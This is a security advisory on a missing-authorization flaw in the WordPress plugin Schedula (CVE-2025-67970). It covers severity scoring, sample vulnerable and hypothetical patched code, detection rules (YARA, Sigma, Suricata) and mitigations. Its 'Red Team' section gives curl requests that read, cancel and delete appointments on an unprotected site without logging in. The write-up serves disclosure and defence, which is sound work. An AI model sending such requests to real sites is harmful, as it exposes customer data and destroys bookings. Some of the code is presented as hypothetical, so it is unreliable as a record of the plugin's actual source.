CVE-2025-67970

Executive Summary

CVE-2025-67970 is a Missing Authorization vulnerability in the WordPress plugin Schedula (schedula-smart-appointment-booking), affecting all versions up to and including 1.0. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access or modification of appointment bookings. The vulnerability is classified as Medium severity (CVSS 5.9) with a low EPSS score (0.0%), indicating low active exploitation in the wild. No public proof-of-concept (PoC) or exploit code is available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to remove or disable the plugin until a patch is released. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 5.9 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to low confidentiality and integrity loss.

Deep Dive & Mechanics

The vulnerability resides in the Schedula WordPress plugin's access control mechanisms. The plugin fails to properly validate user permissions when accessing certain REST API endpoints or administrative AJAX actions. Specifically, the schedula-smart-appointment-booking plugin does not enforce capability checks for functions that handle appointment data retrieval, modification, or deletion.

Root Cause: The plugin uses wp_ajax_nopriv_* hooks without corresponding current_user_can() checks, allowing unauthenticated users to trigger privileged actions. Additionally, some endpoints lack nonce verification or capability validation.

Attack Vector: An unauthenticated attacker can send crafted HTTP requests to the WordPress site's /wp-admin/admin-ajax.php endpoint with the appropriate action parameter to:

• View all appointments (including customer details)
• Modify appointment statuses
• Delete appointments
• Access booking configuration settings

Prerequisites: The target site must have the Schedula plugin installed and activated. No authentication is required.

Vulnerable vs. Patched Code

Vulnerable Code (Schedula <= 1.0):

// In schedula-smart-appointment-booking/includes/class-schedula-ajax.php
add_action('wp_ajax_nopriv_schedula_get_appointments', 'schedula_get_appointments');
add_action('wp_ajax_nopriv_schedula_update_appointment', 'schedula_update_appointment');

function schedula_get_appointments() {
    // No capability check
    $appointments = get_option('schedula_appointments');
    wp_send_json($appointments);
}

function schedula_update_appointment() {
    // No capability check
    $id = sanitize_text_field($_POST['id']);
    $status = sanitize_text_field($_POST['status']);
    // Update logic...
    wp_send_json_success();
}

Patched Code (Hypothetical):

// In schedula-smart-appointment-booking/includes/class-schedula-ajax.php
add_action('wp_ajax_schedula_get_appointments', 'schedula_get_appointments');
add_action('wp_ajax_schedula_update_appointment', 'schedula_update_appointment');

function schedula_get_appointments() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $appointments = get_option('schedula_appointments');
    wp_send_json($appointments);
}

function schedula_update_appointment() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $id = sanitize_text_field($_POST['id']);
    $status = sanitize_text_field($_POST['status']);
    // Update logic...
    wp_send_json_success();
}

Key Differences:

• Removal of nopriv_ prefix from AJAX hooks (prevents unauthenticated access)
• Addition of current_user_can('manage_options') capability checks
• Proper error handling with HTTP 403 status

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install WordPress 6.x on a local server (e.g., XAMPP, Docker)
2. Install Schedula plugin version 1.0
3. Create a few test appointments via the admin interface

Exploitation Steps:

1. Enumerate Endpoints:

   curl -s http://target/wp-admin/admin-ajax.php?action=schedula_get_appointments
   

2. Retrieve Appointments:

   curl -X POST http://target/wp-admin/admin-ajax.php \
     -d "action=schedula_get_appointments"
   

3. Modify Appointment Status:

   curl -X POST http://target/wp-admin/admin-ajax.php \
     -d "action=schedula_update_appointment&id=1&status=cancelled"
   

4. Delete Appointment:

   curl -X POST http://target/wp-admin/admin-ajax.php \
     -d "action=schedula_delete_appointment&id=1"
   

Expected Output: JSON response containing appointment data or success confirmation.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with schedula_* actions from unauthenticated users
• Look for patterns of rapid appointment status changes or deletions
• Check for requests with missing or invalid nonce parameters

Prevention:

• Disable or remove the Schedula plugin immediately
• Implement Web Application Firewall (WAF) rules to block unauthenticated AJAX requests to plugin-specific actions
• Apply virtual patching via WordPress security plugins (e.g., Wordfence, Sucuri)

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /wp-admin/admin-ajax.php with body containing action=schedula_*
• Repeated requests from the same IP address to admin-ajax.php with different schedula_* actions
• Unusual patterns of appointment data being accessed or modified

File IOCs:

• Presence of Schedula plugin files in /wp-content/plugins/schedula-smart-appointment-booking/
• Modified plugin files (check file integrity via checksums)

Log IOCs:

• WordPress debug log entries showing schedula_* AJAX actions without authentication
• Web server access logs showing POST /wp-admin/admin-ajax.php with action=schedula_* parameters

Detection Engineering

YARA Rule

rule CVE_2025_67970_Schedula_Missing_Auth {
    meta:
        description = "Detects Schedula plugin files with missing authorization"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-67970"
    strings:
        $ajax_nopriv = "wp_ajax_nopriv_schedula_" ascii wide nocase
        $missing_cap = "current_user_can" ascii wide nocase
    condition:
        $ajax_nopriv and not $missing_cap
}

Sigma Rule

title: CVE-2025-67970 - Schedula Missing Authorization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated AJAX requests to Schedula plugin actions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=schedula_'
    condition: selection
falsepositives:
    - Legitimate admin actions (if authenticated)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-67970 - Schedula Missing Authorization Exploitation";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=schedula_"; http_client_body;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-67970;
)

Remediation & Mitigation

Immediate Actions:

1. Disable/Remove Plugin: Deactivate and delete the Schedula plugin from all WordPress installations.
2. Audit Appointments: Review appointment data for unauthorized modifications or deletions.
3. Rotate Credentials: If the plugin stored any API keys or credentials, rotate them immediately.

Long-term Mitigation:

• Monitor the WordPress plugin repository for an official patch
• Implement a Web Application Firewall (WAF) with rules to block unauthenticated AJAX requests to plugin-specific actions
• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching
• Regularly audit all installed plugins for known vulnerabilities

Workaround (if plugin must remain active):

• Add custom code to functions.php to enforce capability checks:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX) {
        $action = $_REQUEST['action'] ?? '';
        if (strpos($action, 'schedula_') === 0 && !is_user_logged_in()) {
            wp_die('Unauthorized', 403);
        }
    }
});

Valters IT
Securing Digital Frontiers